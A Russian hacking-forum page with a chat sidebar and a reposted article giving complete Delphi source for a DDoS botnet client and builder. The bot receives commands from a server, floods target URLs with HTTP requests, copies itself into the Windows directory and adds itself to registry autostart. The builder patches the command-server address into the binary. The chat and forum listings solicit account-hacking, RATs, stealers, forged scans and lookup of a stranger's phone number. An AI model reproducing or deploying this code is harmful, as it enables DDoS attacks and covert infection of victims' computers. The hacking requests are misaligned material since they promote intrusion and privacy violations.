Для доступа к контенту сайта, пожалуйста отключите Аd-Blосk. При включенном блокираторе сайт может работать не корректно.

Реклама
Новые комментарии
Доска почёта
Посетители
Счётчики



Анализ сайта
Чат

Чтобы оставлять сообщения - зарегистрируйтесь
  • kfs3
    13:17
    шкалотняк мусарской))))))))))))
    • Hammm666
      26 апр 2017, 22:22
      Все доброго вечера. Посоветуйте команду которая может помочь со взломами: Джабер, теллеграмм, бросикс. Буду премного благодарен
      • Kira_the_first
        26 апр 2017, 19:32
        Незнаем
        • Johny13
          26 апр 2017, 19:27
          Пацаны, посоветуйте граббер прокси
          • Johny13
            26 апр 2017, 19:26
            Пацаны, посоветуйте грабер прокси
            • hacker001
              26 апр 2017, 17:02
              ребята нужны срочно прокси кинте плис в лс!
              • Kira_the_first
                25 апр 2017, 16:20
                @Ytri, держи happy-hack.ru если нехватит, в ЛС можем обсудить подробнее
                • Ytri
                  24 апр 2017, 15:39
                  @Kira_the_first, можешь в лс скинуть сриптовые вирусы?буду благодарен
                  • Kira_the_first
                    23 апр 2017, 18:19
                    @Ytri, "выебнутся" и "насолить" - разные вещи, но в любом случае бери консоль(скриптовые вирусы), не прогадаешь)
                    • Ytri
                      23 апр 2017, 17:13
                      но он мне 2 поставил
                      • Ytri
                        23 апр 2017, 17:12
                        @Y@Kira_the_first, я не знаю в какой области работает этот дебил.
                        • Kira_the_first
                          23 апр 2017, 17:04
                          @Ytri, зависит от того, насчколько он комтентен в своей области. Он только в наборе программ "майкрософт офис" умеет работать?
                          • Ytri
                            23 апр 2017, 14:19
                            Ребят подскажите, как выебнуться перед учителем информатики?
                            • mike2505
                              22 апр 2017, 20:34
                              куу, давно я тут года 2 и толко зарегался )
                              • Shimikami
                                22 апр 2017, 08:22
                                qq vcem
                                • antygrav
                                  21 апр 2017, 18:59
                                  Привет, подскажите где можно достать Ilizium Bot? без сарказма пож..
                                  • Troir
                                    21 апр 2017, 17:42
                                    Хай всем,котаны
                                    • Eclipst
                                      20 апр 2017, 08:58
                                      Привет , требуется помощь с SilexStealer . Вроде разобрался с ним , но как его отпр в большую сеть ??? Можем в вк списаться . Спасибо.
                                      • anti1227
                                        19 апр 2017, 21:56
                                        криптану ваш рат по халяве
                                        vk.com
                                        • aneximo
                                          19 апр 2017, 21:23
                                          +79782196185,плз найдите вк этого номера,ато голову уже сломал
                                          • Anonymous_User
                                            19 апр 2017, 09:38
                                            Объясните что тут да как, допустим что такое прокси, как пользоваться снифферами, ботнетом, брут форсами, ну и т.д
                                            vk.com/nikita_derulo
                                            • anti1227
                                              19 апр 2017, 05:09
                                              чем тебе помоч ??
                                              • hackbitch
                                                19 апр 2017, 01:03
                                                помогите со взломом вк через брут пж
                                                • Kira_the_first
                                                  17 апр 2017, 19:05
                                                  stf.st
                                                  • Kira_the_first
                                                    17 апр 2017, 19:05
                                                    Воистину воскрес
                                                    • kfs3
                                                      16 апр 2017, 10:51
                                                      ХРИСТОС Воскрес
                                                      • sheifCOOMEET
                                                        14 апр 2017, 20:48
                                                        [***=https://time100.ru]Точное московское время[/***]
                                                        • summonedpro
                                                          14 апр 2017, 18:00
                                                          can anyone help me witha bank checker bruter or paypal bruter ?
                                                          • begemot
                                                            12 апр 2017, 14:09
                                                            @hackbitch, сколько? пиши в лс
                                                            • Ytri
                                                              11 апр 2017, 18:59
                                                              скинте в лс какие нибудь проги на андройд Rat dos и тп
                                                              Опрос на сайте
                                                              Как Вы нашли нас?
                                                              Поисковые системы
                                                              Порекомендовали
                                                              По ссылке с других сайтов
                                                              По ссылке с соц. сетей
                                                              Давно тут, по закладке
                                                              Ярлык в архиве с софтом
                                                              Случайно

                                                              Подписки

                                                                Получать новости на email:


                                                                Мы в соц. сетях:

                                                              Реклама

                                                              Последние сообщения с форума

                                                              Название темы Автор Статистика Последнее сообщение
                                                              ВАЖНО: Слив бонусного баланса.

                                                              Тема в разделе: Халява

                                                              vekelen

                                                              Просмотров: 14

                                                              Ответов: 0

                                                              Автор: vekelen

                                                              Сегодня, 15:50

                                                              Взлом Whatsapp.Viber.Instagram. facebook.Узнаем взломаем !!!

                                                              Тема в разделе: Работа/Услуги

                                                              DoneXak

                                                              Просмотров: 5977

                                                              Ответов: 35

                                                              Автор: Dennyss

                                                              Сегодня, 14:44

                                                              перерисую ваши сканы под ваши данные за умеренную плату

                                                              Тема в разделе: Работа/Услуги

                                                              Sagatyk

                                                              Просмотров: 23356

                                                              Ответов: 47

                                                              Автор: Sagatyk

                                                              Сегодня, 14:12

                                                              Пишем ботнет + билдер
                                                              Автор: Abrazor | Дата: 19-07-2012, 12:28 | Комментариев: 18 | Просмотров: 8369
                                                              Сразу говорю статейка не моя!!!!
                                                              Пишем ботнет + билдер

                                                              Главное для бота это размер. Чтобы уменьшить размер нам нужно свести к минимуму кол-во используемых модулей. Поэтому определимся с функционалом ботнета: в качестве метода атаки мы будем использовать http-flood, который реализуем на wininet, также используя его для получения команд с сервера. Многопочность и все остальные функции мы реализуем на winapi.
                                                              Соответственно:
                                                              uses wininet, windows;

                                                              Дабы не затруднять код кол-во потоков мы сделаем фиксированным, так же как и время ожидания при получении ответа от сервера. От сервера мы будем получать команды к действию (атака/ожидание/смерть) и адрес страницы для атаки.

                                                              Для начала возьмем готовую функцию отправки GET запроса и получения ответа: (оптимизирована под Delphi 2010/11)
                                                              function DelHttp(url: String): String; // парсинг адреса
                                                              begin
                                                                if Pos('http://', url) > 0 then
                                                                  Delete(url, 1, 7);
                                                                result := Copy(url, 1, Pos('/', url) - 1);
                                                                if result = '' then
                                                                  result := url + #0;
                                                              end;

                                                              function GetUrl(const url: String): String; // получение кода страницы
                                                              var
                                                                FSession, FConnect, FRequest: HINTERNET;
                                                                FHost, FScript, SRequest: String;
                                                                Ansi: PAnsiChar;
                                                                Buff: array ***91;0 .. 1023***93; of ansiChar;
                                                                BytesRead: Cardinal;
                                                                Res, Len: DWORD;
                                                              begin
                                                                result := '';
                                                                FHost := DelHttp(url);
                                                                FScript := url;
                                                                Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
                                                                FSession := InternetOpen('DMFR', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
                                                                if not Assigned(FSession) then
                                                                  Exit;
                                                                try
                                                                  FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
                                                                    'HTTP/1.0', INTERNET_SERVICE_HTTP, 0, 0);
                                                                  if not Assigned(FConnect) then
                                                                    Exit;
                                                                  try
                                                                    Ansi := 'text/*';
                                                                    FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), 'HTTP/1.1',
                                                                      nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
                                                                    if not Assigned(FConnect) then
                                                                      Exit;
                                                                    try
                                                                      if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
                                                                        HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD or
                                                                        HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
                                                                        Exit;
                                                                      Len := 0;
                                                                      Res := 0;
                                                                      SRequest := ' ';
                                                                      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      if Len > 0 then
                                                                      begin
                                                                        SetLength(SRequest, Len);
                                                                        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      end;
                                                                      if not(HttpSendRequest(FRequest, nil, 0, nil, 0)) then
                                                                        Exit;
                                                                      FillChar(Buff, SizeOf(Buff), 0);
                                                                      repeat
                                                                        result := result + Buff;
                                                                        FillChar(Buff, SizeOf(Buff), 0);
                                                                        InternetReadFile(FRequest, @Buff, SizeOf(Buff), BytesRead);
                                                                      until BytesRead = 0;
                                                                    finally
                                                                      InternetCloseHandle(FRequest);
                                                                    end;
                                                                  finally
                                                                    InternetCloseHandle(FConnect);
                                                                  end;
                                                                finally
                                                                  InternetCloseHandle(FSession);
                                                                end;
                                                              end;

                                                              Часть переменных я вывел в константы:
                                                              const
                                                                HTTP_PORT = 80;
                                                                CRLF = #13#10;
                                                                Header = 'Content-Type: application/x-www-form-urlencoded' + CRLF;

                                                              Ее мы будем использовать для получения команд от сервера.
                                                              Теперь немного оптимизируем ее для хттп-флуда:
                                                              procedure dosattack(const url: String); // хттп флуд
                                                              var
                                                                FSession, FConnect, FRequest: HINTERNET;
                                                                FHost, FScript, SRequest: String;
                                                                Ansi: PAnsiChar;
                                                                Res, Len: DWORD;
                                                              begin
                                                                FHost := DelHttp(url);
                                                                FScript := url;
                                                                Delete(FScript, 1, Pos(FHost, FScript) + Length(FHost));
                                                                FSession := InternetOpen('DMFR', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
                                                                if not Assigned(FSession) then
                                                                  Exit;
                                                                try
                                                                  FConnect := InternetConnect(FSession, PChar(FHost), HTTP_PORT, nil,
                                                                    'HTTP/1.0', INTERNET_SERVICE_HTTP, 0, 0);
                                                                  if not Assigned(FConnect) then
                                                                    Exit;
                                                                  try
                                                                    Ansi := 'text/*';
                                                                    FRequest := HttpOpenRequest(FConnect, 'GET', PChar(FScript), 'HTTP/1.1',
                                                                      nil, @Ansi, INTERNET_FLAG_RELOAD, 0);
                                                                    if not Assigned(FConnect) then
                                                                      Exit;
                                                                    try
                                                                      if not(HttpAddRequestHeaders(FRequest, Header, Length(Header),
                                                                        HTTP_ADDREQ_FLAG_REPLACE or HTTP_ADDREQ_FLAG_ADD or
                                                                        HTTP_ADDREQ_FLAG_COALESCE_WITH_COMMA)) then
                                                                        Exit;
                                                                      Len := 0;
                                                                      Res := 0;
                                                                      SRequest := ' ';
                                                                      HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                        HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      if Len > 0 then
                                                                      begin
                                                                        SetLength(SRequest, Len);
                                                                        HttpQueryInfo(FRequest, HTTP_QUERY_RAW_HEADERS_CRLF or
                                                                          HTTP_QUERY_FLAG_REQUEST_HEADERS, @SRequest***91;1***93;, Len, Res);
                                                                      end;
                                                                      HttpSendRequest(FRequest, nil, 0, nil, 0);
                                                                    finally
                                                                      InternetCloseHandle(FRequest);
                                                                    end;
                                                                  finally
                                                                    InternetCloseHandle(FConnect);
                                                                  end;
                                                                finally
                                                                  InternetCloseHandle(FSession);
                                                                end;
                                                              end;

                                                              Также в константы выведем еще некоторые переменные:
                                                              settingsurl = 'http://www.xxx.com/set.html'; // страница получения настроек
                                                                waittime = 10000; // время ожидания
                                                                threadscount = 10; // кол-во потоков
                                                                newname = 'sysutils.exe'; // имя бота

                                                              В var запишем следующее:
                                                              var
                                                                a: array ***91;0 .. threadscount***93; of longword; // массив потоков
                                                                id: longword;   //служебные переменные
                                                                stop, e: boolean;
                                                                ddosurl, exename: string; // адрес атаки, пусть до файла
                                                                i: integer;

                                                              Ниже представлена процедура потока для доса:
                                                              procedure dosthread; // ддос поток
                                                              begin
                                                                while stop = false do // начальное ожидание
                                                                  sleep(100);
                                                                try
                                                                  while 1 > 0 do
                                                                  begin
                                                                    if e then // выход
                                                                      endthread(0);
                                                                    dosattack(ddosurl); // хттп флуд
                                                                  end;
                                                                finally
                                                                  endthread(0);     // выход
                                                                end;
                                                              end;

                                                              Команды от сервера мы будем получать следующим образом:
                                                              procedure getcommand; // получение команд от сервера
                                                              var
                                                                p, t1, t2: string;
                                                                i: integer;
                                                              begin
                                                                try
                                                                  while 1 > 0 do
                                                                  begin
                                                                    try
                                                                      p := ''; // код страницы
                                                                      t1 := ''; // режим
                                                                      t2 := ''; // адрес атаки
                                                                      p := GetUrl(settingsurl); // получаем код страницы
                                                                      for i := 1 to Pos('|', p) - 1 do
                                                                        t1 := t1 + p***91;i***93;;
                                                                      for i := Pos('|', p) + 1 to Length(p) do
                                                                        t2 := t2 + p***91;i***93;;
                                                                      ddosurl := t2; // изменяем страницу атаки
                                                                      if t1 = '1' then // приводим потоки в действие
                                                                      begin
                                                                        for i := 1 to threadscount do
                                                                          ResumeThread(a***91;i***93;);
                                                                      end
                                                                      else if t1 = '0' then // замораживаем потоки
                                                                      begin
                                                                        for i := 1 to threadscount do
                                                                          SuspendThread(a***91;i***93;);
                                                                      end
                                                                      else if t1 = '-1' then // убиваем потоки
                                                                      begin
                                                                        e := true;
                                                                        for i := 1 to threadscount do
                                                                          SuspendThread(a***91;i***93;);
                                                                        deletefile(PChar(exename));
                                                                        halt(0); // выход из программы
                                                                      end;
                                                                      sleep(waittime); // ожидание...
                                                                    except
                                                                    end;
                                                                  end;
                                                                finally
                                                                  endthread(0);
                                                                end;
                                                              end;

                                                              В коде основной программы пропишем запуск потоков:
                                                              try
                                                                  e := false;
                                                                  stop := false;
                                                                  a***91;0***93; := beginthread(nil, 0, Addr(getcommand), nil, 0, id);
                                                                  // создаем поток для получения данных
                                                                  SetThreadPriority(a***91;0***93;, THREAD_PRIORITY_HIGHEST); // высокий приоритет
                                                                  for i := 1 to threadscount do // запускаем потоки
                                                                    a***91;i***93; := beginthread(nil, 0, Addr(dosthread), nil, 0, id);
                                                                  for i := 1 to threadscount do // замораживаем потоки
                                                                    SuspendThread(a***91;i***93;);
                                                                  stop := true; // убираем начальное ожидание
                                                                finally
                                                                  while 1 > 0 do // работаем
                                                                    sleep(100);
                                                                end;

                                                              Теперь наш бот надо превратить в некое подобие вируса. Нам нужны следующие функции:
                                                              function GetWindowsDir: String; // получение системной директории
                                                              var
                                                                name: array ***91;0 .. 255***93; of Char;
                                                              begin
                                                                GetWindowsDirectory(Name, SizeOf(Name));
                                                                result := name;
                                                              end;

                                                              Procedure regbot; // запись в автозагрузку
                                                              var
                                                                Key: hkey;
                                                                SystemPath: array ***91;0 .. MAX_PATH***93; of Char;
                                                              begin
                                                                GetSystemDirectory(SystemPath, MAX_PATH);
                                                                if RegOpenKeyEx HKEY_LOCAL_MACHINE,'SOFTWAREMicrosoftWindowsCurrentVersionRun', 0, KEY_CREATE_SUB_KEY or
                                                                  KEY_SET_VALUE, Key) = ERROR_SUCCESS then
                                                                begin
                                                                  RegSetValueEx(Key, 'SysUtils', 0, REG_SZ, PChar(exename),
                                                                    lstrlen(PChar(exename)) + Length(exename));
                                                                  RegCloseKey(Key);
                                                                end;
                                                              end;

                                                              Запуск которых нужно вставить в самом начале основного кода:
                                                              try
                                                              exename := GetWindowsDir + '' + newname;
                                                              CopyFile(PChar(ParamStr(0)), PChar(exename), true);
                                                              // самокопирование в системную папку
                                                              regbot; // из-за этого определяется как троян (запись в автозагрузку)
                                                              except
                                                              end;

                                                              Размер после компиляции: 34 КБ После сжатия ASPack'ом будем порядка 18 КБ.

                                                              Дополнение. Пишем билдер.
                                                              Патчить мы будем адрес страницы с настройками. Для начала заполним переменную settingsurl ровно сотней нулей (или еще чемнибудь)
                                                              Скомпилим и откроем наш bot.exe в WinHex. Найдем там эти нули:
                                                              Пишем ботнет + билдер

                                                              Начальный адрес равен 4860 (на скрине он немного не такой ибо файл другой) А конечный 48C8. Ко всему этому между каждым символом стоит пустой бит.
                                                              Вот код нашего билдера:
                                                              program builder;

                                                              {$APPTYPE CONSOLE}

                                                              uses
                                                                sysutils, windows;
                                                              const
                                                                filename = 'bot.exe';
                                                                sourcename = 'source.exe';
                                                              var
                                                                page: ansistring;
                                                                f: thandle;
                                                                c: byte;
                                                                BytesRead: DWORD;
                                                                i, p, j: integer;
                                                              begin
                                                                writeln('Enter Page with settings (max 100 symbols)');
                                                                readln(page);
                                                                copyfile(pchar(sourcename), pchar(filename), true);
                                                                if not fileexists(filename) then
                                                                begin
                                                                  writeln('bot.exe not found');
                                                                  readln;
                                                                  halt(0);
                                                                end;
                                                                f := fileopen(filename, fmOpenReadWrite);
                                                                // 4860-48C8
                                                                for i := 1 to 100 - length(page) do
                                                                  page := page + ' ';
                                                                for i := 0 to 99 do
                                                                begin
                                                                  p := $4860;
                                                                  for j := 1 to i do
                                                                    p := p + $2;
                                                                  c := ord(char(pchar(page***91;i+1***93;)));
                                                                  SetFilePointer(f, p, nil, 0);
                                                                  WriteFile(f, c, SizeOf(c), BytesRead, nil);
                                                                end;
                                                                FileClose(f);
                                                                writeln('bot.exe success patch!');
                                                                readln;
                                                              end.


                                                              где source.exe - имя нашего исходного файла
                                                              а bot.exe - выходной файл.

                                                              P.S Весь выше приведенный код является полностью рабочим.
                                                              Автор не несет ответственности за противозаконное использование статьи.
                                                              Пароль на все архивы "happy-hack.ru" либо "hh"





                                                              Поделись:
                                                              Здесь присутствуют:
                                                              На данный момент новость никто не просматривает.
                                                              Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь.
                                                              Мы рекомендуем Вам зарегистрироваться либо войти на сайт под своим именем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: fiin
                                                              • Дата: 19 июля 2012 12:39
                                                              • Новостей: 1
                                                              • Комментариев: 11
                                                              если ты спрячешь все коды в спойлер то будет лучше, а та не плохо

                                                              Репутация: ( -2 )
                                                            • Offline Пользователь offline

                                                              • Написал: OREL2099
                                                              • Дата: 19 июля 2012 18:12
                                                              • Новостей: 0
                                                              • Комментариев: 16
                                                              db

                                                              Репутация: ( )

                                                              • Написал: Snake92
                                                              • Дата: 19 июля 2012 20:27
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Автор молодец smile-28

                                                              Если я правильно понял , программа должна реализововать только ддос , если меня допустим не интересует ни функции ддоса ни рассылки спама и т.д а интересут только заработок на зомби кликерах ,как его можно реализовать ?

                                                              Репутация: ( 36 )
                                                            • Offline Пользователь offline

                                                              • Написал: Abrazor
                                                              • Дата: 19 июля 2012 20:49
                                                              • Новостей: 32
                                                              • Комментариев: 162
                                                              Snake92,
                                                              Автор статейки не я.
                                                              Я только учусь кодить на делфи.
                                                              А по таким вопросам к Гуглу=)

                                                              --------------------

                                                              Репутация: ( )

                                                              • Написал: maximus
                                                              • Дата: 20 июля 2012 01:36
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Кто пробовал юзать?

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: FTALP
                                                              • Дата: 20 июля 2012 02:10
                                                              • Новостей: 2
                                                              • Комментариев: 28
                                                              maximus, такое юзать себе же хуже..

                                                              Репутация: ( )

                                                              • Написал: Snake92
                                                              • Дата: 22 июля 2012 12:19
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              maximus,
                                                              начнешь юзать без достойного опыта , навыков , считай что к тебе уже выехали

                                                              Репутация: ( 3 )
                                                            • Offline Пользователь offline

                                                              • Написал: sahan
                                                              • Дата: 31 июля 2012 03:27
                                                              • Новостей: 0
                                                              • Комментариев: 200
                                                              Цитата: Snake92
                                                              как его можно реализовать ?

                                                              Кстати да, очень интересно. Можно зарабатывать очень не плохо
                                                              fap

                                                              Репутация: ( )

                                                              • Написал: vaa.alex
                                                              • Дата: 10 августа 2012 20:24
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Snake92,
                                                              а ты думаешь опыт можно с инета скачать? Опыт приходит со временем.

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: LoSa
                                                              • Дата: 12 августа 2012 09:48
                                                              • Новостей: 0
                                                              • Комментариев: 11
                                                              Надо будет попробывать smile-17

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: RBD
                                                              • Дата: 20 августа 2012 03:32
                                                              • Новостей: 0
                                                              • Комментариев: 3
                                                              Спасибо за инфу smile-59

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: benny
                                                              • Дата: 20 августа 2012 10:02
                                                              • Новостей: 0
                                                              • Комментариев: 11
                                                              спасибо

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: mrshot
                                                              • Дата: 23 августа 2012 21:18
                                                              • Новостей: 0
                                                              • Комментариев: 13
                                                              ep автор, отличная статья

                                                              Репутация: ( )

                                                              • Написал: centrirn
                                                              • Дата: 5 октября 2012 11:14
                                                              • Новостей: 0
                                                              • Комментариев: 0
                                                              Спасибо. smile-51

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: Vladimir14765
                                                              • Дата: 9 декабря 2012 08:31
                                                              • Новостей: 0
                                                              • Комментариев: 5
                                                              Спасибо :)

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: Loslew
                                                              • Дата: 5 февраля 2013 04:35
                                                              • Новостей: 1
                                                              • Комментариев: 24
                                                              а готовым ботнетом воспользоваться нельзя?

                                                              Репутация: ( -1 )
                                                            • Offline Пользователь offline

                                                              • Написал: fcsm
                                                              • Дата: 23 марта 2013 19:13
                                                              • Новостей: 0
                                                              • Комментариев: 29
                                                              Цитата: Loslew
                                                              а готовым ботнетом воспользоваться нельзя?

                                                              можно, но ведь интересней его написать самому, сделать его таким, какого еще нет, что бы он был не однообразным, и чем то отличался от других..

                                                              Репутация: ( 0 )
                                                            • Offline Пользователь offline

                                                              • Написал: Flach
                                                              • Дата: 25 июля 2013 18:29
                                                              • Новостей: 0
                                                              • Комментариев: 26
                                                              smile-31 класс статья =))
                                                              Информация
                                                              Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.